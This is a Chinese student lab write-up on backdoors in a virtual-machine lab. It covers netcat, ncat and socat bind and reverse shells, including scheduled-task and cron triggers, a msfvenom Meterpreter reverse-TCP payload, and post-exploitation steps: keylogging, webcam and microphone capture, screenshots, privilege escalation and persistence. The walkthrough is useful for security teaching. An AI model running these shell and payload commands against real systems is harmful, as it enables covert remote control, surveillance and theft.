后门与远控木马——Meterpreter初体验



后门与远控木马——msfvenom与Meterpreter初体验

实验环境

攻击机

  • kali 4.14(64位) (IP: 10.0.2.6/24)

靶机

  • ubuntu 16.04(32位) (IP: 10.0.2.4/24)
  • windows 7 sp1(64位) (IP: 10.0.2.7/24)

nc/ncat的使用

nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的“瑞士军刀”的美誉。nc的实现版本大致有两种,一种是带有-e或-c 选项可以直接给出执行命令,另一种不支持-e选项

ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat号称“21世纪的netcat”,是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)

nc的监听模式在kali下会出现问题,监听的端口会发生变化,因此推荐同学们在kali下使用ncat

nc后门获得win/linux shell

在win7靶机下载netcat后,进入netcat所在文件夹,在命令提示符中输入nc -L -e cmd.exe -p 80启动后门服务。

-L 选项-l选项是将nc设置为监听模式。-p 选项指定监听的端口(混淆为80,53等端口往往能穿透防火墙),-e 选项可以绑定到cmd.exe这个shell程序。

1_1

在攻击机中输入nc 10.0.2.7 80连接到win7靶机,获得win7的shell。

1_2

ubuntu自带的nc版本没有-e 选项,当然可以用ncat替代,这里展示一下没有-e 选项的nc如何获得shell。(参考man手册)

输入

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/f

1_3

攻击机连接后,得到shell

1_4

nc获得win/linux反弹shell

前面的示例都是靶机作为服务器,监听攻击机的TCP连接。下面我们让靶机主动连接攻击机,获得反弹式shell。

在攻击机中输入ncat -vv -l 9190进入监听模式,-vv选项提供详细的状态输出。

1_5

靶机中输入nc 10.0.2.6 9190 -e cmd.exe主动连接攻击机

1_6

攻击机获得shell

1_7

nc后门配合cron启动反弹式shell

crontab计划内容的基础知识可以在实验楼中学习,这里给出crontab的格式:

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
  1. 在攻击机下输入ncat -vv -l 9190在端口9190监听

2_1

2.在靶机中配置crontable,让它在中午12:00,连接攻击机(做完实验正好出去吃饭)

2_2

2_3

  1. 时间到了,攻击机显示靶机10.0.2.4连接,获得反弹shell

2_4

socat的使用

socat也是一款很不错的网络工具,可以认为是nc的加强版。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。

这里我们只把socat作为传递shell的工具使用。

socat速查

  • 连接端口 socat - tcp:10.0.2.4:80 #连接ip 为 10.0.2.4 主机的80端口
  • 监听端口 socat - tcp-l:8080 #侦听本机的8080端口
  • 传递远程shell socat tcp-l:1234 exec:,pty,stderr #当有主机连接本机的1234端口时,将会发送本机的shell给连接端

socat配合windows任务计划

在win7靶机中点击控制面板->系统和安全->管理工具->任务计划程序,进入下面的画面:

3_1

选择创建任务,在常规选项卡中编辑名称,并在触发器选项卡中选择工作站锁定时,这样在靶机锁定的时候,我们的socat就会传递远程shell

3_2

操作选项卡中绑定socat程序,给出参数tcp-listen:9190 exec:cmd.exe,pty,stderr

3_3

然后按下win + L锁定win7靶机,在攻击机中输入socat - tcp:10.0.2.7:9190,获得远程shell。

3_4

Meterpreter的使用

终于到祭出神器Meterpreter的部分了!Meterpreter是Metasploit框架中功能最强大、最有发展前景的模块,它作为可以被渗透攻击植入到目标系统上执行的一个攻击载荷,除了提供基本的会话控制之外,还集成了大量的后渗透攻击的命令和功能,
比如敏感信息搜集、击键记录、本地特权提升等等。

注意事项

市面上的一些关于metasploit的书在某些方面已经过时了(我说的就是参考书《Metasploit魔鬼训练营》和《Metasploit渗透测试指南》),msfcli接口已经没有了,msfpayload和msfencode模块也被移除了,取而代之的是msfvenom,它集成了这两个模块的功能。
所以《Metasploit魔鬼训练营》第9章中的一些内容无法复现出来。

生成后门程序

我们用msfvenom生成一个windows平台的反弹式后门程序,连接端口为9190。

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=9190 -f exe > 20155110_backdoor.exe

4_1

我们把这个后门程序拷贝到win7靶机中去,方法有很多,这里使用ncat。

在kali中输入ncat -l 9190 < 20155110_backdoor.exe

在win7靶机的nc所在目录下输入nc 10.0.2.6 9190 > 20155110_backdoor.exe

这样就将程序拷贝到了win7靶机中。

4_2

开启后门

接着,让我们进入msfconsole中去,输入use exploit/multi/handler(可以用tab键补全)

然后选择payload,看一下使用这个攻击载荷需要设置那些东西:

4_3

设置攻击机IP和监听的端口

4-4

接着输入exploit,然后在win7靶机中运行后门程序,猎物就上钩了。

4-5

进程迁移

为了保证会话不被意外终止,我们首先需要将会话移植到比较稳定的系统服务进程中去。比如explorer.exe。

输入ps查看win7靶机进程,发现explorer.exe的进程id为2020,我们把进程迁移到它上面。

输入migrate 2020,进程迁移成功!

![5-3]

检查是否为虚拟机

输入run post/windows/gather/checkvm,结果显示靶机是一台虚拟机

5-1

获得windows命令行

特别简单,只要输入shell就行了。

4-6

获取音频

非常简单,输入record_mic即可,虽然很无聊。

![5-4]

打开摄像头

我使用的虚拟机软件是virtual box,需要安装VirtualBox Extension Pack才能让虚拟机使用主机的摄像头。

安装方法(https://jingyan.baidu.com/article/a3761b2b8073361576f9aadf.html)

输入webcam_list,发现靶机中有摄像头:

4-7

输入webcam_snap,给张照片(被自己丑哭了):

4-8

输入webcam_stream,持续打开摄像头,实况直播.

截屏

输入screenshot即可

4-10

键盘记录

输入keyscan_start开始记录,keyscan_dump导出记录

4-11

尝试提权

getuid显示当前用户,输入getsystem尝试提升权限,但是失败了,很遗憾:

5-2

Meterpreter的持久化

Meterpreter仅仅是驻留在内存的shellcode,靶机重启的话,攻击机就会失去控制权了。如果被利用的漏洞被打上了补丁,重新入侵就非常困难。

通过使用persistence或者metsvc的后渗透模块,在靶机上安装自启动或系统服务的方式,可以达到长久控制靶机的目标。

但不得不说,这些技术有些简单了,很容易引起人们的察觉,也没法逃过安全软件。

persistence自启动

输入run persistence -X -i 5 -p 443 -r 10.0.2.6-X指定启动的方式为开机自启动,-i指定反向连接的时间间隔。

5.6.1

5-6

靶机重启完毕,我们在攻击机上收到了Meterpreter的会话。

5-7

metsvc模块

metsvc模块将Meterpreter以系统服务的形式安装到目标主机上,直接输入run metsvc,只可惜失败了。

5-8

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:后门一般隐藏在正常应用程序之中,甚至官方故意将后门设置在系统中。我们在网上下载所谓的“破解软件”、ooxx视频、未知邮件附件也可能携带后门。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:直接诱骗用户点击,通常将后门伪装成正常软件,比如网上银行之类的,曾经有电信骗子就被微博博主“中国元”忽悠,亲手打开了后门(笑)。

也可以修改注册表设置成开机自启动,或者直接将后门安装成系统服务,但这些手段暴露的可能性很大。

(3)Meterpreter有哪些给你映像深刻的功能?

答:这次实验的所有功能都让我很兴奋!

(4)如何发现自己的系统有没有被安装后门?

答:网上的一些老手喜欢用手工的入侵防御系统(IPS)自己配置规则,自己查看进程和注册表来发现系统的异常,我作为小白是完全不会用的。

所以只能依靠360全家桶了……(笑)

实验总结与体会

metasploit实在是太可怕了!于是,我有过这样的幻想:有了这样的神器,我觉得自己研究个三四年,然后在公网上部署一个metasploit,虽然没有技术水平写属于自己的shellcode,当个“脚本小子”完全没问题!

虽然我只是一名普通的公务员,工资水平一般,但是靠干“脚本小子”的活说不定能挣到一笔外快呢!我听说做黑产是很挣钱的,就算是在产业链的尾巴上,也能挣到一笔不小的收入呢!攒着这笔钱买房买车娶老婆给父母养老……

回到现实吧,的确现在入门网络安全的门槛越来越低,但这不等同于学习网络安全技术很容易。

真正的一线黑产、国家黑客、高级安全研究人员可都是计算机技术的专家!这些本领不是简单地输入一两条指令,使用一些工具,他们的技术能力是建立在对计算机和网络无比熟悉和精通的基础上,从而拥有“除了上帝,一切皆可渗透”的技术自信。

认真反思了下自己,我觉得自己和技术是无缘了,就算我真的爱财,也没有门路和能力在黑客技术上挣钱。

但把安全技术当作兴趣爱好还是可以的,毕竟挺好玩的。